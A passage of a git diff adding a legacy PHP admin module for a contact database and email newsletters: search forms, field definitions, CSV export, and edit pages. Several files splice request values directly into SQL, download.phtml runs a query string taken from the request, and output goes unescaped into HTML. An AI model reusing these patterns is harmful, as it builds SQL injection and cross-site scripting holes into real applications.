+   $int_array[$value['id']] = $value['header'];
+   }
+   }
+ */
+function search_where( $name, $search_where )
+{
+       $out = '
+               <select name="'.$name.'">
+               <option value="1" '.( ( !isset( $search_type ) || $search_type == "0" ) ? 'selected' : '' ).'>Anywhere 
+               <option value="2" '.( ( $search_where == '1' ) ? 'selected' : '' ).'>Begining 
+               <option value="3" '.( ( $search_where == '2' ) ? 'selected' : '' ).'>Ending
+               </select>';
+       return( $out );
+}
+function search_type( $name, $search_type )
+{
+       $out = '
+               <select name="'.$name.'">
+               <option value="2" '.( ( !isset( $search_type ) || $search_type == '2' ) ? 'selected' : '' ).'>And 
+               <option value="3" '.( ( $search_type == '3' ) ? 'selected' : '' ).'>Or
+               <option value="4" '.( ( $search_type == '4' ) ? 'selected' : '' ).'>Not
+               </select>';
+       return( $out );
+}
+function search_bool( $name, $search_type )
+{
+       $out = '
+               <select name="'.$name.'">
+               <option value="" '.( !isset( $search_type ) ? 'selected' : '' ).'> 
+               <option value="Y" '.( ( $search_type == 'Y' ) ? 'selected' : '' ).'>Yes
+               <option value="N" '.( ( $search_type == 'N' ) ? 'selected' : '' ).'>No
+               </select>';
+       return( $out );
+}
+function interest($field)
+{              
+       global $int_array;
+       if( !is_array( $int_array ) )
+       {
+               return( false );
+       }
+       echo "<table><tr>";
+       $count = 0;
+       foreach($int_array as $key=>$value)
+       {
+               if($count==0)
+                       echo "<td>";            
+               echo "<input type=\"checkbox\" name=\"interest[]\" value=\"$key\"";
+               if(strstr($field,":".$key.":"))
+                       echo " checked";                                
+               echo ">$value<br>";             
+               if($count==5)
+                       echo "</td><td>";               
+               if($count==11)
+                       echo "</td>";           
+               $count++;               
+       }               
+       echo "</tr></TABLE>";
+}
+
+// default query on create_date
+$c_date_from  = contact_date_entry("","","","fc_month","fc_day","fc_year");
+$c_date_to  = contact_date_entry("","","","tc_month","tc_day","tc_year");
+/*     The following is for setting up the defines and arrays that are needed 
+ *     based on which table ( customer or contact ) in use
+ *  formats for arrays
+ *     $DB_fields[] = array( name =>"{FIELD NAME}", title => "{FIELD TITLE}", type => "{FIELD TYPE}")
+ *  $fields["{FIELD_NAME}"] = "{FIELD TITLE}";
+ *
+ *     must have these defines
+ *     ID - The primary key
+ *     SEQUENCE - sequence name
+ *     WHERE - where clause
+ */
+if(TABLE==CUSTOMER_TABLE)
+{
+       define("ID","cust_id");
+       define("MAILOK","mail_ok");
+       define("SEQUENCE","custkey");
+       define("WHERE","fname != '-Guest-'");
+       // $DB_fields are used for edit and updating contacts
+       $DB_fields[] =  array( name => "cust_id",       title => "cust_id",     type => "hide");
+       $DB_fields[] =  array( name => "purch_date",title => "Last Purchase Date",      type => "static");
+       $DB_fields[] =  array( name => "access_date",title => "Last Access Date",type => "static");
+       $DB_fields[] =  array( name => "create_date",title => "Create Date",type => "static");
+       $DB_fields[] =  array( name => "fname",         title => "First Name",  type => "text");
+       $DB_fields[] =  array( name => "lname",         title => "Last Name",   type => "text");
+       $DB_fields[] =  array( name => "add1",          title => "Address 1",   type => "text");
+       $DB_fields[] =  array( name => "add2",          title => "Address 2",   type => "text");
+       $DB_fields[] =  array( name => "city",          title => "City",                type => "text");
+       $DB_fields[] =  array( name => "state",         title => "State",               type => "text");
+       $DB_fields[] =  array( name => "zip",           title => "Zip",                 type => "text");
+       $DB_fields[] =  array( name => "email",         title => "Email",               type => "text");
+       $DB_fields[] =  array( name => "phone",         title => "Phone",               type => "text");
+       $DB_fields[] =  array( name => "fax",           title => "Fax",                 type => "text");
+       $DB_fields[] =  array( name => "org",           title => "Org",                 type => "text");
+       $DB_fields[] =  array( name => "referred_by",title => "Refered By",     type => "text");
+       $DB_fields[] =  array( name => "mail_ok",       title => "Mail Ok?",    type => "radio");
+       // $fields are used for building the query page
+       foreach($DB_fields as $key=>$value){
+               if($value['type'] == "text")
+                       $fields[$value['name']] = $value['title'];
+       }
+       // date query fields
+       $p_date_from = contact_date_entry("","","","fp_month","fp_day","fp_year");
+       $p_date_to = contact_date_entry("","","","tp_month","tp_day","tp_year");
+       $a_date_from  = contact_date_entry("","","","fa_month","fa_day","fa_year");
+       $a_date_to  = contact_date_entry("","","","ta_month","ta_day","ta_year");
+}
+else
+{
+       define("ID","contactid");
+       define("MAILOK","mail_ok");
+       define("SEQUENCE","contactkey");
+       define("WHERE",ID." IS NOT NULL");
+       // $DB_fields are used for edit and updating contacts
+       $DB_fields[] =  array( name => "contactid", title => "contactid",                               type => "hide");
+       $DB_fields[] =  array( name => "create_date",title => "Create Date",    type => "static");
+       $DB_fields[] =  array( name => "name",          title => "Name",                        type => "text");
+       $DB_fields[] =  array( name => "address1",      title => "Address 1",           type => "text");
+       $DB_fields[] =  array( name => "address2",      title => "Address 2",           type => "text");
+       $DB_fields[] =  array( name => "city",          title => "City",                        type => "text");
+       $DB_fields[] =  array( name => "state",         title => "State",                       type => "state");
+       $DB_fields[] =  array( name => "zip",           title => "Zip",                         type => "text");
+       $DB_fields[] =  array( name => "email",         title => "Email",                       type => "text");
+       $DB_fields[] =  array( name => "country",       title => "Country",             type => "text");
+       $DB_fields[] =  array( name => "phone",         title => "Phone",                       type => "text");
+       $DB_fields[] =  array( name => "bus_type",      title => "Business Type",       type => "text");
+       $DB_fields[] =  array( name => "mail_ok",       title => "Mail Ok?",            type => "radio");
+       $DB_fields[] =  array( name => "devel",         title => "Web Development",     type => "radio");
+       $DB_fields[] =  array( name => "hosting",       title => "Web Hosting",                 type => "radio");
+       $DB_fields[] =  array( name => "connect",       title => "Dedicated Connectivity",type => "radio");
+       $DB_fields[] =  array( name => "seo",           title => "SEO",                         type => "radio");
+       $DB_fields[] =  array( name => "kiosk",title => "Pellston Kiosk",                               type => "radio");
+       $DB_fields[] =  array( name => "nolist",        title => "Keep off client list",type => "radio");
+        $DB_fields[] =  array( name => "ucman",        title => "UC Man",type => "radio");
+       // $fields are used for building the query page
+       foreach($DB_fields as $key=>$value)
+       {
+               if($value['type'] == "text" || $value['type'] == "state")
+               {
+                       $fields[$value['name']] = $value['title'];
+               }
+               elseif( $value['type'] == "radio" )
+               {
+                       $boolean[$value['name']] = $value['title'];
+               }
+       }
+}
+$data['bailout'] .= "You are receiving this message because you have expressed an interest in ";
+$data['bailout'] .= "receiving specials and information from ".SITENAME.". If you do not ";
+$data['bailout'] .= "wish to receive future items of this nature, please reply to this e-mail ";
+$data['bailout'] .= "with the word \"CANCEL\" on the subject line. You will then be removed ";
+$data['bailout'] .= "from future mailings.<br>";
+$data['bailout'] .= "<a href=\"mailto:".OWNER_EMAIL."?subject=CANCEL\">".OWNER_EMAIL."</a><br>";
+$data['date'] = date('M j Y');
+$data['url'] = BASE_URL;
+$data['sitename'] = SITENAME;
+$data['year'] = date('Y');
+?>
diff --git a/admin/Contact/del_query.phtml b/admin/Contact/del_query.phtml
new file mode 100644 (file)
index 0000000..555ed88
--- /dev/null
@@ -0,0 +1,18 @@
+<?php
+//$Id: del_query.phtml,v 1.1.1.1 2009/09/17 20:09:03 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+
+$qs = "DELETE 
+          FROM         query_db 
+          WHERE        id = $id";
+
+if(!db_auto_exec($qs)) html_error(DB_ERROR_MSG.$qs,1);
+GLM_TOOLBOX::html_header("Admin","Deleted","");
+?>
+<script lang="javascript">
+document.onload=window.opener.location.reload(1);
+</script>
+Query <?echo $id?> is Deleted
+<center><a href="" onClick="window.close();return(false);">Close This
+Window</a></center>
diff --git a/admin/Contact/download.phtml b/admin/Contact/download.phtml
new file mode 100644 (file)
index 0000000..4e2c815
--- /dev/null
@@ -0,0 +1,108 @@
+<?
+/*****************************************************************************
+* File download 
+* Author: Steve Sutton
+*
+* pass $query_string
+* 
+*****************************************************************************/
+//$Id: download.phtml,v 1.1.1.1 2009/09/17 20:09:02 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+if(!$dbd = db_connect())
+       die("Warning: FATAL! No Connection to DB_SERVER");
+
+$delimiter = str_replace("comma",",",$delimiter);
+$delimiter = str_replace("tab","\t",$delimiter);
+$delimiter = str_replace("csv",",",$delimiter);
+$delimiter = str_replace("pipe","|",$delimiter);
+
+if($query_string) {
+       /* Remove the old reports if they exsists */ 
+               if(is_file("report.csv")) 
+                       unlink("report.csv");
+               if(is_file("report.tar.gz"))
+                       unlink("report.tar.gz");
+               if(is_file("report.zip"))
+                       unlink("report.zip");
+                       
+       if(!$fp = fopen("report.csv","w"))
+               html_error("Cant open report",0);
+       $query_string = stripslashes($query_string);
+       $query_string = str_replace("SELECT ".ID.",","SELECT ",$query_string);
+
+       if(!$res = pg_Exec($dbd,$query_string))
+               echo "failed to ->".$query_string;                      
+       if(pg_numrows($res)>0) {
+               for($i=0;$i<pg_numrows($res);$i++) {
+                       $result_string = "";
+                       $row = pg_fetch_array($res,$i,PGSQL_ASSOC);
+                       $contactedby = pg_fieldnum($res,'contactedby');
+                       for($b=0;$b<count($row);$b++) {
+                               $result_string .= pg_result($res,$i,$b)."|";
+                       }
+                       $result_string = substr($result_string,0,strlen($result_string)-1);
+                       if($csv) {
+                               $result_string = str_replace("|","\",\"",$result_string);  
+                               $result_string = "\"".$result_string."\"\n";
+                               //echo $result_string;
+                       }
+                       else {
+                               $result_string = str_replace("|",$delimiter,$result_string);  
+                               $result_string = $result_string."\n";
+                       }
+               fputs($fp,$result_string,strlen($result_string)); 
+               }
+       }
+               if(!fclose($fp))
+                       html_error("Cant close filepointer",0);
+               chmod("report.csv",0660);
+               $output = "report.csv";
+
+               if($file == "gz") {
+                       $output = "report.tar.gz";
+                       exec("tar -czvf report.tar.gz report.csv 2>&1",$result_array,$result);
+                       if($result != 0){
+                               echo $result_array[0];
+                               exit;
+                       }
+                       chmod("report.tar.gz",0660);
+               }
+               
+               if($file == "zip") {
+                       $output = "report.zip";
+                       exec("zip report report.csv 2>&1",$result_array,$result);
+                       if($result != 0){
+                               echo $result_array[0];
+                               exit;
+                       }
+                       chmod("report.zip",0660);
+               }
+               if($file == "rpt") {
+                       $output = "report.csv";
+                       chmod("report.csv",0660);
+               }
+if(ini_get('zlib.output_compression'))
+{
+     ini_set('zlib.output_compression', 'Off');
+}
+       header("Content-Type: application/force-download\n");
+       /* Correction for the stupid MSIE thing */
+       if(strstr(getenv('HTTP_USER_AGENT'), 'MSIE'))
+               {
+               header("Content-Disposition: inline; filename=\"$output\"");
+               }
+       else 
+               {
+               header("Content-Disposition: attachment; filename=\"$output\"");
+               }
+       //header("Location: $output");
+       $fn=fopen($output , "r");
+       fpassthru($fn);
+       @fclose($fn);
+       exit(); 
+}
+else {
+       header("Location: list_contact.phtml");
+}
+?>
diff --git a/admin/Contact/edit_autoresponse.phtml b/admin/Contact/edit_autoresponse.phtml
new file mode 100644 (file)
index 0000000..a2c1b78
--- /dev/null
@@ -0,0 +1,178 @@
+<?php
+//$Id: edit_autoresponse.phtml,v 1.4 2012/02/03 19:10:55 matrix Exp $
+require_once "../../setup.phtml";
+require_once "contact_setup.inc";
+GLM_TOOLBOX::top("AutoReponse for Newsletter", HELP_BASE."response.phtml?key=edit+section");
+
+GLM_TOOLBOX::html_nav_table($nav, $navWidth);
+if (!$dbd = db_connect(CONN_STR)) {
+       GLM_TOOLBOX::html_error(DB_ERROR_MSG.__LINE__, 1);
+}
+
+if ($id) {
+    $qs = "
+    SELECT id,template,subject,response
+         FROM news_response
+        WHERE id = $id";
+
+       if (!$res = db_exec($dbd, $qs)) {
+               GLM_TOOLBOX::html_error(DB_ERROR_MSG.__LINE__,1);
+       }
+       $row = db_fetch_array($res,0, PGSQL_ASSOC);
+} else {
+       $row['template'] = '1';
+       $row['subject']  = '';
+       $row['response'] = '';
+}
+echo '<script type="text/javascript" src="'.GLM_APP_BASE_URL.'ckeditor/current/ckeditor.js"></script>';
+?>
+
+<form id="form1" name="form1" enctype="multipart/form-data" action="update_autoresponse.phtml" method="POST">
+<table id="admin-edit-table">
+<?
+foreach ($row as $key => $value) {
+       switch ($key) {
+    case "id":
+                       echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+               break;
+
+    case "template":
+        echo "<tr><td class=\"navtd\" align=\"right\">Template:</td>";
+        echo '<td>
+            <table>
+                <tr>
+                    <td>
+                        <label for="template1">
+            <input id="template1" name="template" type="radio" '.(($value == "1") ? 'checked':'').' value="1">
+            General Newsletter
+        </label>
+                    </td>
+                    <td>
+                        <label for="template2">
+            <input id="template2" name="template" type="radio" '.(($value == "2") ? 'checked':'').' value="2">
+            Connectivity Newsletter
+        </label>
+                    </td>
+                </tr>
+            </table>
+        </td>';
+        echo "</tr>";
+               break;
+
+    case "subject":
+        echo "<tr><td class=\"navtd\" align=\"right\">Subject:</td>";
+               GLM_TOOLBOX::text_box("subject", $value);
+               echo "</tr>";
+               break;
+
+    case "response":
+        echo "<tr><td class=\"navtd\" align=\"right\">Response:</td>";
+        echo '<td><textarea name="response" id="response" cols="60" rows="60">'.$value.'</textarea></td>';
+               echo "</tr>";
+               break;
+
+               case "image_align":
+               case "image2_align":
+               case "image3_align":
+               case "image4_align":
+               case "image5_align":
+               case "image6_align":
+               break;
+
+               case "image":
+               case "image2":
+               case "image3":
+               case "image4":
+               case "image5":
+               case "image6":
+                       if ($row[$key] != "") {
+                               echo '<tr>
+                                       <td>&nbsp;</td>
+                                       <td style="width:400px;">
+                                       <div style="display:block;width:350px;padding:5px;margin:2px;float:right;border:solid 1px black;">
+                                       This is the current '.strtoupper( $key ).' used in this newsletter
+                                       To change the image, select a new one by clicking the browse button below.
+                                       To delete the image without uploading a new one, select
+                                       <strong>Yes</strong> below and click the <B>Update button</B>
+                                       </div>
+                                       <img style="display:block;float:left;border:2px solid black;" src="'.THUMB.$row[$key].'">
+                                       <br />
+                                       <div style="width:400px;clear:both;">
+                                       Delete Item Image? &nbsp; Yes
+                                       <input type=radio name="del'.$key.'" value="TRUE"> &nbsp; No
+                                       <input type=radio name="del'.$key.'" value="false" checked><br>
+                                       </div>
+                                       </td>
+                                       </tr>';
+                       }
+                       echo '
+                       <tr>
+                       <td class="navtd" align="right">'.strtoupper($key).':</td>
+                       <td align="left"><input type="file" name="'.$key.'">
+                       <input type="hidden" name="old'.$key.'" value="'.$row[$key].'">
+                       Align:
+                       <input name="'.$key.'_align" type="radio" value="left" '.( ($row[$key.'_align'] != 'right' ) ? 'checked': '' ).'>Left
+                       <input name="'.$key.'_align" type="radio" value="right" '.( ($row[$key.'_align'] == 'right' ) ? 'checked': '' ).'>Right
+                       </td>
+                       </tr>
+                       <tr>
+                       <td class="navtd" align="right" nowrap="nowrap">'.ucfirst($key).' Link:</td>
+                       <td align="left">
+                       <input name="'.$key.'_link" value="'.$row[$key."_link"].'">
+                       </td>
+                       </tr>';
+                       break;
+
+    case "coupon":
+        if ($row[$key] != "") {
+            echo '<tr>
+                <td>&nbsp;</td>
+                <td style="width:400px;">
+                <div style="display:block;width:350px;padding:5px;margin:2px;float:right;border:solid 1px black;">
+                This is the current image used for the Coupon in this newsletter
+                To change the image, select a new one by clicking the browse button below.
+                To delete the image without uploading a new one, select
+                <strong>Yes</strong> below and click the <B>Update button</B>
+                </div>
+                <img style="display:block;float:left;border:2px solid black;" src="'.THUMB.$row[$key].'">
+                <br>
+                <div style="width:400px;clear:both;">
+                Delete Coupon Image? &nbsp; Yes
+                <input type=radio name="del'.$key.'" value="TRUE"> &nbsp; No
+                <input type=radio name="del'.$key.'" value="false" checked><br>
+                </div>
+                </td>
+                </tr>';
+        }
+        echo '
+        <tr>
+        <td class="navtd" align="right">'.strtoupper($key).':</td>
+        <td align="left"><input type="file" name="'.$key.'">
+        <input type="hidden" name="old'.$key.'" value="'.$row[$key].'">
+        </td>
+        </tr>
+        <tr>
+        <td class="navtd" align="right" nowrap="nowrap">'.ucfirst($key).' Link:</td>
+        <td align="left">
+        <input name="'.$key.'_link" value="'.$row[$key."_link"].'">
+        </td>
+        </tr>';
+        break;
+       }
+}
+
+echo '<script type="text/javascript" src="./cktoolbox.js"></script>';
+echo '<tr><td></td><td nowrap="nowrap">';
+if ($id) {
+       ?> <input type="submit" name="Command" value="Update"> <?
+} else {
+       ?> <input type="submit" name="Command" value="Insert"> <?
+}
+echo '
+</td></tr>
+</table>
+</form>';
+GLM_TOOLBOX::footer();
+?>
+
+
diff --git a/admin/Contact/edit_contact.phtml b/admin/Contact/edit_contact.phtml
new file mode 100644 (file)
index 0000000..c1b1017
--- /dev/null
@@ -0,0 +1,180 @@
+<?
+//$Id: edit_contact.phtml,v 1.1.1.1 2009/09/17 20:09:02 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+
+if(!$dbd = db_connect()) GLM_TOOLBOX::html_error(DB_ERROR_MSG, 1);
+
+if($id) {                                      // If there's $id then editing 
+       $qs = "SET DATESTYLE TO 'SQL,".DATEFORMAT."';";
+       $qs .= "SELECT ";
+       for($i=0;$i<count($DB_fields);$i++) {
+               $qs .= $DB_fields[$i][name];
+               if($i != count($DB_fields)-1)
+                       $qs .= ",";     
+       }
+       $qs .= " FROM   ".TABLE."
+                        WHERE  ".ID." = $id";
+               
+       if(!$res = db_exec($dbd, $qs)) 
+               GLM_TOOLBOX::html_error(DB_ERROR_MSG.$qs,0);
+       if(db_numrows($res)>0){
+               $row = db_fetch_array($res,0, PGSQL_ASSOC);
+       }
+       else{
+               die("No such record");
+       }
+}
+else {                                                         // else new entry
+       // Grab the array of name from $DB_fields and stick it into $row
+       // Any default values must be placed inside this loop 
+       $row = array();
+       for($i=0;$i<count($DB_fields);$i++) {
+               if($DB_fields[$i][name] == "submitdate"){
+                       $row[$DB_fields[$i][name]] = date("m/d/Y H:i:s T");
+               }
+               else{
+                       $row[$DB_fields[$i][name]] = "";        
+               }
+       }
+}
+
+GLM_TOOLBOX::top("Updatable Listings (Add/Edit)", "help/contact.phtml?key=Edit");
+
+GLM_TOOLBOX::html_nav_table($nav, $navWidth);
+?>
+
+<form action="update_contact.phtml" method="POST" enctype="multipart/form-data">
+<?
+echo '<table id="admin-edit-table">';
+echo "<tr><td colspan=2><hr noshade></td></tr>";
+
+foreach($DB_fields as $key=>$value) {
+       if($value[type] == "text") {
+               ?>
+               <tr><td class="navtd" align="right"><?echo $value[title]?></td>
+               <td><input name="<?echo $value[name]?>" 
+               value="<?echo $row[$value[name]]?>" size=40></td>
+               </tr>
+               <?
+       }
+       elseif($value[type] == "static") {
+               ?>
+               <tr><td class="navtd" align="right"><?echo $value[title]?></td>
+               <td><?echo $row[$value[name]]?></td>
+               </tr>
+               <?
+       }
+       elseif($value[type] == "interest") {
+               ?>
+               <tr><td class="navtd" align="right"><?echo $value[title]?></td>
+               <td><?interest($row[$value[name]])?></td>
+               </tr>
+               <?
+       }
+       elseif($value[type] == "img") {
+               ?>
+               <tr></tr>
+               <?
+               echo "<input type=\"hidden\" name=\"old".$value[name]."\"
+               value=\"".$row[$value[name]]."\">";
+               if($row[$value[name]] != "") {
+               echo "<tr><td class=\"navtd2\" align=\"right\">Current Image:</td>";
+               echo "<td><img src=\"".MIDSIZED.$row[$value[name]]."\"></td>
+               </tr>
+               <tr>
+               <td class=\"navtd2\" align=\"right\">Delete this image:</td>
+               <td> <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+               <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No </td>
+               </tr>";
+               }
+               echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+               echo '<td><input type="file" name="'.$value["name"].'"></td>';
+               echo "</tr>";
+       }
+       elseif($value[type] == "file") {
+               ?>
+               <tr></tr>
+               <?
+               echo "<input type=\"hidden\" name=\"old".$value[name]."\"
+               value=\"".$row[$value[name]]."\">";
+               if($row[$value[name]] != "") {
+               echo "<tr><td class=\"navtd2\" align=\"right\">Current File:</td>";
+               echo "<td>".$row[$value[name]]."
+               </td>
+               </tr>
+               <tr>
+               <td class=\"navtd2\" align=\"right\">Delete this File:</td>
+               <td>
+               <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+               <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No
+               </td>
+               </tr>";
+               }
+               echo "<tr><td class=\"navtd\" align=\"right\">New $value[title]:</td>";
+               echo "<td><input type=\"file\" name=\"".$value[name]."\"></td>";
+               echo "</tr>";
+       }
+       if($value[type] == "desc") {
+               if($value[name] == "description") {
+                       echo "<tr><td colspan=2><hr noshade></td></tr>";
+                       echo "<tr><th colspan=2>Description and Images</th></tr>";
+               }
+               echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td>";
+               text_area("$value[name]",$row[$value[name]]);
+               echo "</tr>";
+       }
+       if($value[type] == "state") {
+               echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td><td>";
+               echo build_picklist("$value[name]",$states_US,$row[$value[name]]);
+               //text_area("$value[name]",$row[$value[name]]);
+               echo "</td></tr>";
+       }
+       elseif($value[type] == "hide") {
+               echo "<input type=\"hidden\" name=\"".$value[title]."\" value=\"".$row[$value[name]]."\">";
+       }
+       elseif( $value['type'] == 'drop' )
+       {
+               echo '<tr><td class="'.$label.'">'.$value[title].'</td>';
+               echo '<td class="'.$field.'">';
+               $date_entry = build_picklist($value['name'],$value['drop'],$row[$value['name']]);
+               echo $date_entry.'</td>';
+               echo '</tr>';
+       }
+       elseif($value[type] == "radio") {
+               echo "<tr><td class=\"navtd\" align=\"right\">$value[title]:</td>";
+               echo "<td><input type=\"radio\" name=\"".$value[name]."\" value=\"t\"";
+               if($row[$value[name]]=="t")
+                       echo " checked";
+               echo ">Yes";
+               echo "<input type=\"radio\" name=\"".$value[name]."\" value=\"f\"";
+               if($row[$value[name]]!="t")
+                       echo " checked";
+               echo ">No</td>";
+               echo "</tr>";
+       }
+}
+
+if(isset($id)) {
+?>
+<tr><td colspan=2 align=center>
+<input type="hidden" name="id" value="<?=$id?>">
+<input type="hidden" name="start" value="<?=$start?>">
+<input type="submit" name="Command" value="Update">
+<input type="submit" name="Command" value="Cancel">
+<input type="submit" name="Command" value="Delete" onClick="
+if(confirm('This will delete this Record!\n Are you sure?'))
+       return(true);
+else 
+       return(false);
+">
+</td></tr>
+<?
+}
+else {
+       GLM_TOOLBOX::form_footer("Insert","",2);
+}
+echo "</td></tr></table></form>";
+
+GLM_TOOLBOX::footer();
+?>
diff --git a/admin/Contact/edit_inquiry.phtml b/admin/Contact/edit_inquiry.phtml
new file mode 100644 (file)
index 0000000..bf74227
--- /dev/null
@@ -0,0 +1,87 @@
+<?php
+include("../../setup.phtml");
+include("contact_setup.inc");
+$conn =& $DB->db_connect();
+if(!$conn) 
+       {
+               echo "No Database connection";
+       }
+GLM_TOOLBOX::top('Edit/Add Inquiry','');
+GLM_TOOLBOX::html_nav_table($nav,$navWidth);
+switch($Command) 
+       {
+       case "Edit":
+               $qs = "SELECT   *
+               FROM    contact_inq
+               WHERE   id = $id";
+       $result = pg_Exec($conn,$qs);
+       $header = pg_result($result,0,'header');
+       $description = pg_result($result,0,'description');
+       $image = pg_result($result,0,'image');
+       $pos = pg_result($result,0,'pos');
+       ?>
+               <table id="admin-edit-table">
+               <tr>
+               <td>Header:</td>
+               <td>
+               <form action="update_inquiry.phtml" method="POST" enctype="multipart/form-data">
+               <input type="text" name="header" value="<?echo $header?>">
+               <input type="hidden" name="id" value="<?echo $id?>"></td>
+               </tr>
+               <?
+               /*
+               echo "<tr><td align=\"right\">Description:</td>";
+       echo "<td><textarea cols=35 rows=8 name=\"description\">$description</textarea></td>";
+       echo "</tr>";
+       */
+       echo "<input type=\"hidden\" name=\"oldimage\" value=\"".$image."\">";
+       echo "<input type=\"hidden\" name=\"oldpos\" value=\"".$pos."\">";
+       /*
+       if($image != "") {
+               echo "<tr><td align=\"right\">Current Image:</td>";
+               echo "<td><img src=\"".MIDSIZED."/".$image."\">
+                       </td>
+                       </tr>
+                       <tr>
+                       <td class=\"navtd2\" align=\"right\">Delete this image:</td>
+                       <td>
+                       <input type=\"radio\" name=\"deleteimage\" value=\"1\">Yes
+                       <input type=\"radio\" name=\"deleteimage\" value=\"2\" CHECKED>No
+                       </td>
+                       </tr>";
+       }
+       echo "<tr><td align=\"right\">New Image:</td>";
+       echo "<td><input type=\"file\" name=\"image\"></td>";
+       echo "</tr>";
+       */
+       ?> 
+               <tr>
+               <td colspan=2 align=center>
+               <input type="submit" name="Command" value="Edit">
+               <input type="submit" name="Command" value="Delete">
+               </td>
+               </tr>
+               </form>
+               </table>
+               <?
+
+       break;
+
+       case "Add Item":
+       ?>
+               <table id="admin-edit-table">
+               <tr>
+               <th>Header:</th>
+               <td><form action="update_inquiry.phtml" method="POST">
+               <input type="text" name="header">
+               <input type="submit" name="Command" value="Add">
+               </form>
+               </td>
+               </tr>
+               </table>
+               <?
+       break;
+
+}
+GLM_TOOLBOX::footer();
+?>
diff --git a/admin/Contact/emails.php b/admin/Contact/emails.php
new file mode 100644 (file)
index 0000000..f10e6e8
--- /dev/null
@@ -0,0 +1,38 @@
+<?php
+require_once('../../setup.phtml');
+require_once(BASE.'classes/class_db.inc');
+include("contact_setup.inc");
+$DB =& new GLM_DB();
+$query = "select * from news_response order by id;"; 
+$data = $DB->db_auto_get_data( $query );
+GLM_TOOLBOX::top( "Email HTML Newsletters", "");
+GLM_TOOLBOX::html_nav_table($nav,$navWidth);
+$out = '<table id="admin-list-table">
+       <tr><td colspan="4" align="center">
+                       <form name="add" action="edit_autoresponse.phtml" method="post">
+                               <button name="command" onClick="add.submit()">Add HTML EMAIL</button>
+       </td></tr>
+       <tr>
+               <th>Function:</th>
+               <th>Subject:</th>
+               <th>Last Update:</th>
+               <th> &nbsp; </th>
+       </tr>';
+       
+if( is_array( $data ) )
+{
+       foreach( $data as $key => $val )
+       {
+               $out .= '<tr>
+                       <td><a href="edit_autoresponse.phtml?id='.$val["id"].'">[Edit]</a>&nbsp;
+                               <a href="view_newsletter.phtml?id='.$val["id"].'">[View]</a></td>
+                       <td>'.$val["subject"].'</td>
+                       <td>'.$val["last_update"].'</td>
+                       <td><a href="update_autoresponse.phtml?Command=Delete&amp;id='.$val["id"].'" onClick="return(confirm(\'This will delete the Email Newsletter!\n\nAre you sure?\'))">[Delete]</a></td>
+               </tr>';
+       }
+}
+$out .= '</table>';
+echo $out;
+GLM_TOOLBOX::footer();
+?>
diff --git a/admin/Contact/form.js b/admin/Contact/form.js
new file mode 100644 (file)
index 0000000..0bbabf0
--- /dev/null
@@ -0,0 +1,42 @@
+function reshow(object) {
+    artist = object.options[object.selectedIndex].text;
+        for (var i = document.track.names.length;i > 0;i--)
+            document.track.names.options[0] = null;
+        reloading = true;
+        showlinks();
+        document.track.names.options[0].selected = true;
+    return false;
+}
+
+function load(object) {
+    alert('Just testing: ' + object.options[object.selectedIndex].value);
+    //window.location.href = object.options[object.selectedIndex].value;
+    return false;
+}
+
+function showlinks() {
+    if (artist == 'Chris Rea') {
+        opt('cr/one.zip','The Road To Hell');
+        opt('cr/two.zip','Let\'s Dance');
+    }
+
+    if (artist == 'Annie Lennox') {
+        opt('al/why.zip','Why');
+        opt('al/wobg.zip','Walking on Broken Glass');
+    }
+
+    if (artist == 'Dina Carrol') {
+        opt('dc/track1.zip','Escaping');
+        opt('dc/track2.zip','Only Human');
+    }
+}
+
+function opt(href,text) {
+    if (reloading)  {
+        var optionName = new Option(text, href, false, false)
+        var length = document.track.names.length;
+        document.track.names.options[length] = optionName;
+    }
+    else
+        document.write('<OPTION VALUE="',href,'">',text,'<\/OPTION>');
+}
diff --git a/admin/Contact/help/contact.phtml b/admin/Contact/help/contact.phtml
new file mode 100644 (file)
index 0000000..bdec6d7
--- /dev/null
@@ -0,0 +1,146 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="../../help/helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Contact Help</H4>
+<hr>
+<?
+switch ($key) {
+       case "search":
+       ?>
+<h4 align="center">Contact Database Search</h4>
+
+<P>
+In this page you will start to build your query to the contact database.
+</p>
+<p>
+<big><b>Search:</b></big>
+</p>
+<p>
+<b>Search records for:</b>
+</p>
+<p>Here is where you will enter any keywords to use in the search.  You must
+enter in something in the "Search records for" box.  You may use more than one
+word (ie.) Sam Field.</p>
+<p><font color=red>HINT:</font>To help search use wildcards!</p>
+<p>? optional space<br>
+* optional spaces<br>
++ at least one space
+. will match anything<br>
+</p>
+<p><font color=green>NOTE:</font>Leaving this fields blank will select all
+contacts.  You can leave this blank and choose "Mail OK" true to get all
+contacts that allow emails.</p>
+<p><b>Search Where in fields:</b></p>
+<p>Tells the database to Search "Anywhere", "Beginning", or "Ending" of the
+fields to be searched.</p>
+<p><b>In Fields:</b></p>
+<p>Select from "In Fields" box.  This determines what fields to look in for
+this search.</p>
+<p><font color=red>HINT</font>
+If you want to select more than one field to search in hold down the 'Ctrl' key while clicking on the selection to select or
+deselect it from the list.</p>
+<p><font color=red>HINT</font>
+You can use the "All" and "None" buttons to help you save time.  This will
+select all or none of the fields in the boxes.</p>
+<p><b>Search Type:</b></p>
+<p>Select the type of search you want (ie.) an "Exact string" search will return
+only those fields which match the "Search records" for string exactly as compared
+to "Or" which will return any field that match any words you place into "Search
+records for"</p>
+<p><b>Case Sensitivity:</b></p>
+<p>This will turn "On" and "Off" the case sensitivity.
+(ie.)If you leave it "Off" and enter "bob" it will return anything like
+"bob","BOB","Bob","BOb","boB",or "BoB" turned "On" will match only "bob".</p>
+
+<p>
+<big><b>Output of records</b></big>
+</p>
+<p><b>Output Fields:</b></p>
